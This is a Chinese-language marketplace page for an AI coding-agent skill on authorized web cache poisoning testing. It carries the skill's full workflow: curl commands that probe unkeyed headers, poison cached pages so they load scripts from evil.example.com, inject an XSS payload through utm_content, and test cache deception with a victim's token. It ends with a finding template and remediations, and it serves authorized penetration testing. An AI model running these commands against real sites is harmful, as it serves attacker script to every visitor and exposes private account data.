mcpField
P
performing-web-cache-poisoning-attack

performing-web-cache-poisoning-attack

github.com/mukul975安全35.2k228 次安装8 周前更新
代码仓库

关于 performing-web-cache-poisoning-attack

面向获授权渗透测试人员的 Web 缓存投毒测试技能,介绍缓存行为分析、未纳入缓存键的输入发现、影响验证与清理。内容强调需获得书面授权并谨慎测试。

主要功能

  1. 01识别缓存层与缓存行为
  2. 02发现未纳入缓存键的输入
  3. 03测试缓存投毒与缓存欺骗
  4. 04验证影响并清理缓存
  5. 05使用 Burp Suite 与 curl 分析

适用场景

  1. 01评估 CDN 或反向代理缓存风险
  2. 02检查未纳入缓存键的响应输入
  3. 03在获授权测试中验证缓存欺骗

安装

复制下面的命令,在终端中运行。

$npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill performing-web-cache-poisoning-attack

安装后在 Claude Code 中输入/performing-web-cache-poisoning-attack确认已加载。

包含的文件

除 SKILL.md 外,安装时一起下载的参考资料和脚本。

LICENSE
references/
api-reference.md
scripts/
agent.py

详细介绍

执行 Web 缓存投毒攻击

适用场景

  • 在获得授权的渗透测试中,当应用使用 CDN 或反向代理缓存(Cloudflare、Akamai、Varnish、Nginx)时
  • 评估 Web 应用是否存在可能影响所有用户的基于缓存的漏洞时
  • 测试未纳入缓存键的 HTTP 头是否会反射到缓存响应中时
  • 评估缓存键行为与缓存欺骗漏洞时
  • 对具有激进缓存策略的应用进行安全评估时

前置条件

  • 授权:明确涵盖缓存投毒测试的书面渗透测试协议
  • Burp Suite Professional:带有 Param Miner 扩展,用于自动发现未纳入缓存键的头
  • curl:用于精确控制头的手动缓存测试
  • 目标知识:了解缓存层(CDN 提供商、缓存头)
  • 缓存破坏参数:唯一的查询参数,用于将测试请求与其他用户隔离
  • 注意:缓存投毒会影响所有用户;请先使用缓存破坏参数进行测试

法律声明: 本技能仅用于获得授权的安全测试和教育目的。未经授权对您不拥有或未获得书面许可测试的系统进行使用是违法的,并可能违反计算机欺诈相关法律。

工作流

步骤 1:识别缓存层与行为

确定正在使用的缓存基础设施以及缓存键的构造方式。

# Check cache-related response headers
curl -s -I "https://target.example.com/" | grep -iE \
  "(cache-control|x-cache|cf-cache|age|vary|x-varnish|x-served-by|cdn|via)"

# Common cache indicators:
# X-Cache: HIT / MISS
# CF-Cache-Status: HIT / MISS / DYNAMIC (Cloudflare)
# Age: 120 (seconds since cached)
# X-Varnish: 12345 67890 (Varnish)
# Via: 1.1 varnish (Varnish/CDN proxy)

# Determine cache key by testing variations
# Cache key typically includes: Host + Path + Query string

# Test 1: Same URL, two requests - check if second is cached
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
curl -s -I "https://target.example.com/page?cachebuster=test1" | grep -i "x-cache"
# First: MISS, Second: HIT = caching is active

# Test 2: Vary header behavior
curl -s -I "https://target.example.com/" | grep -i "vary"
# Vary: Accept-Encoding means Accept-Encoding is part of cache key
步骤 2:使用 Param Miner 发现未纳入缓存键的输入

使用 Burp 的 Param Miner 查找未包含在缓存键中但会反射到响应中的头和参数。

# In Burp Suite:
# 1. Install Param Miner from BApp Store
# 2. Right-click target request > Extensions > Param Miner > Guess headers
# 3. Param Miner will test hundreds of HTTP headers
# 4. Check results in Extender > Extensions > Param Miner > Output

# Common unkeyed headers to test manually:
# X-Forwarded-Host, X-Forwarded-Scheme, X-Forwarded-Proto
# X-Original-URL, X-Rewrite-URL
# X-Host, X-Forwarded-Server
# Origin, Referer
# X-Forwarded-For, True-Client-IP
# Manual testing for unkeyed header reflection
# Add cache buster to isolate testing
CB="cachebuster=$(date +%s)"

# Test X-Forwarded-Host reflection
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/?$CB" | grep "evil.example.com"

# Test X-Forwarded-Scheme
curl -s -H "X-Forwarded-Scheme: nothttps" \
  "https://target.example.com/?$CB" | grep "nothttps"

# Test X-Original-URL (path override)
curl -s -H "X-Original-URL: /admin" \
  "https://target.example.com/?$CB"

# Test X-Forwarded-Proto
curl -s -H "X-Forwarded-Proto: http" \
  "https://target.example.com/?$CB" | grep "http://"
步骤 3:利用未纳入缓存键的头实施缓存投毒

构造请求,用恶意内容污染缓存响应。

# Scenario: X-Forwarded-Host reflected in resource URLs
# Normal response includes: <script src="https://target.example.com/app.js">
# Poisoned: <script src="https://evil.example.com/app.js">

# Step 1: Confirm reflection with cache buster
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/?cb=unique123" | \
  grep "evil.example.com"

# Step 2: Poison the actual cached page (WITHOUT cache buster)
# WARNING: This affects all users - only do with explicit authorization
curl -s -H "X-Forwarded-Host: evil.example.com" \
  "https://target.example.com/"

# Step 3: Verify cache is poisoned
curl -s "https://target.example.com/" | grep "evil.example.com"
# If evil.example.com appears, the cache is poisoned

# Attack with X-Forwarded-Proto for HTTP downgrade
curl -s -H "X-Forwarded-Proto: http" \
  "https://target.example.com/?cb=unique456"
# May cause cached response to include http:// links, enabling MitM

# Attack with multiple headers
curl -s \
  -H "X-Forwarded-Host: evil.example.com" \
  -H "X-Forwarded-Proto: https" \
  "https://target.example.com/?cb=unique789"
步骤 4:测试 Web 缓存欺骗

诱使缓存将已认证的响应存储为公共 URL 的内容。

# Web Cache Deception attack
# The cache caches based on file extension (.css, .js, .jpg)
# If the application ignores path suffixes:

# Step 1: As victim (authenticated), visit:
# https://target.example.com/account/profile/nonexistent.css
# If the application returns the profile page (ignoring .css suffix)
# AND the cache stores it because of .css extension...

# Test application path handling
curl -s -H "Authorization: Bearer $VICTIM_TOKEN" \
  "https://target.example.com/account/profile/test.css" | \
  grep -i "email\|name\|balance"

# Step 2: As attacker (unauthenticated), request:
curl -s "https://target.example.com/account/profile/test.css"
# If victim's profile data is returned, cache deception is confirmed

# Test various static extensions
for ext in css js jpg png gif ico svg woff woff2 ttf; do
  echo -n ".$ext: "
  curl -s -H "Authorization: Bearer $TOKEN" \
    -o /dev/null -w "%{http_code} %{size_download}" \
    "https://target.example.com/account/settings/x.$ext"
  echo
done

# Test path confusion patterns
# /account/settings%2f..%2fstatic/style.css
# /account/settings/..;/static/style.css
# /account/settings;.css
步骤 5:测试基于参数的缓存投毒

利用未纳入缓存键的查询参数或参数解析差异。

# Unkeyed parameter (parameter not in cache key but reflected)
# Using UTM parameters that are often excluded from cache keys
curl -s "https://target.example.com/?utm_content=<script>alert(1)</script>&cb=$(date +%s)" | \
  grep "alert"

# Parameter cloaking via parsing differences
# Backend sees: callback=evil, Cache key ignores: callback
curl -s "https://target.example.com/jsonp?callback=alert(1)&cb=$(date +%s)"

# Fat GET request (body in GET request)
curl -s -X GET \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "param=evil_value" \
  "https://target.example.com/page?cb=$(date +%s)"

# Cache key normalization differences
# Some caches normalize query string order, some don't
curl -s "https://target.example.com/page?a=1&b=2" # Cached as key1
curl -s "https://target.example.com/page?b=2&a=1" # Same key? Or different?

# Test port-based cache poisoning
curl -s -H "Host: target.example.com:1234" \
  "https://target.example.com/?cb=$(date +%s)" | grep "1234"
步骤 6:验证影响并清理

确认攻击影响,并确保被污染的缓存条目已被清除。

# Verify poisoned cache serves to other users
# Use a different IP/User-Agent/session to verify
curl -s -H "User-Agent: CacheVerification" \
  "https://target.example.com/" | grep "evil"

# Check cache TTL to understand exposure window
curl -s -I "https://target.example.com/" | grep -i "cache-control\|max-age\|s-maxage"
# max-age=3600 means poisoned for 1 hour

# Clean up: Force cache refresh
# Some CDNs allow purging via API
# Cloudflare: API call to purge cache
# Varnish: PURGE method
curl -s -X PURGE "https://target.example.com/"
# Or wait for TTL to expire

# Document the cache poisoning window
# Start time: when poison request was sent
# End time: start time + max-age
# Affected users: all users hitting the cached URL during the window

关键概念

概念描述
缓存键用于标识缓存响应的请求属性集合(主机、路径、查询)
未纳入缓存键的输入未包含在缓存键中但会反射到响应中的 HTTP 头或参数
缓存投毒将恶意内容注入缓存响应,并发送给其他用户
缓存欺骗诱使缓存将已认证/私密响应存储为公共内容
Vary 头指定哪些请求头应包含在缓存键中的 HTTP 头
缓存破坏参数用于在测试期间避免影响真实缓存的唯一查询参数
TTL(生存时间)缓存响应在被刷新之前保持有效的时长

工具与系统

工具用途
Burp Suite Professional请求拦截与缓存行为分析
Param Miner(Burp 扩展)自动发现未纳入缓存键的 HTTP 头和参数
Web Cache Vulnerability Scanner自动化缓存投毒检测工具
curl精确控制头的手动 HTTP 请求构造
VarnishlogVarnish 缓存调试与日志分析
特定于 CDN 的工具用于缓存诊断的 Cloudflare Analytics、Akamai Pragma 头

常见场景

场景 1:X-Forwarded-Host 脚本注入

应用会将 X-Forwarded-Host 头反射到 script src URL 中。该头不属于缓存键的一部分。发送带有 X-Forwarded-Host: evil.com 的请求会污染缓存,使所有后续访问者从攻击者的服务器加载 JavaScript。

场景 2:账户页面上的 Web 缓存欺骗

一个被 Cloudflare 缓存的应用程序忽略了未知路径段。请求 /account/profile/logo.png 会返回账户页面,而 Cloudflare 会将其缓存为静态图片。随后,任何未认证的用户都可以访问被缓存的账户页面。

场景 3:基于参数的缓存 XSS

UTM 跟踪参数被排除在缓存键之外,但会渲染在页面 HTML 中。通过 utm_content 参数注入 <script> 标签,会以存储型 XSS 污染缓存,影响所有访问者。

场景 4:通过 Host 头进行 CDN 缓存投毒

多个应用程序位于同一个 CDN 之后。操纵 Host 头会导致 CDN 将一个应用程序的响应缓存到另一个应用程序的缓存键下。

输出格式

## Web Cache Poisoning Finding

**Vulnerability**: Web Cache Poisoning via Unkeyed Header
**Severity**: High (CVSS 8.6)
**Location**: X-Forwarded-Host header on all pages
**OWASP Category**: A05:2021 - Security Misconfiguration

### Cache Configuration
| Property | Value |
|----------|-------|
| CDN/Cache | Cloudflare |
| Cache-Control | max-age=3600, public |
| Unkeyed Headers | X-Forwarded-Host, X-Forwarded-Proto |
| Affected Pages | All HTML pages (/*.html) |

### Reproduction Steps
1. Send request with X-Forwarded-Host: evil.example.com
2. Response includes: <link href="https://evil.example.com/style.css">
3. This response is cached by Cloudflare for 3600 seconds
4. All subsequent visitors receive the poisoned response

### Impact
- JavaScript execution in all users' browsers (via poisoned script src)
- Credential theft, session hijacking, defacement
- Affects estimated 50,000 daily visitors during 1-hour cache window
- Can be re-poisoned continuously for persistent attack

### Recommendation
1. Include X-Forwarded-Host and similar headers in the cache key via Vary header
2. Do not reflect unkeyed headers in response content
3. Configure the cache to strip unknown headers before forwarding to origin
4. Use application-level hardcoded base URLs instead of deriving from headers
5. Implement cache key normalization to prevent key manipulation

评论

支持 Markdown